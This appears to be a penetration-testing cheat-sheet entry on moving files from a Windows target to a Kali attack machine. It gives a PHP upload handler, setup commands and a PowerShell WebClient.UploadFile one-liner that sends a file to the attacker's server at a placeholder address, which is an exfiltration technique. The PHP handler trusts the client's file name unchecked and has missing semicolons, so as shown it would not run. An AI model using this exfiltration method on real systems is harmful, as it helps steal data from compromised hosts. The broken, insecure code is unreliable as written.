File Transfer

PHP Handler

On Kali, we can make a upload.php:

<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name']
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>

Put the script into /var/www/html. Then do:

# mkdir /var/www/uploads
# systemctl start apache
# chown www-data: /var/www/uploads

Then on Windows client, you may upload stuff to Kali:

powershell (New-Object System.Net.WebClient).UploadFile('http://x.x.x.x/upload.php', '<some_file>')

Last updated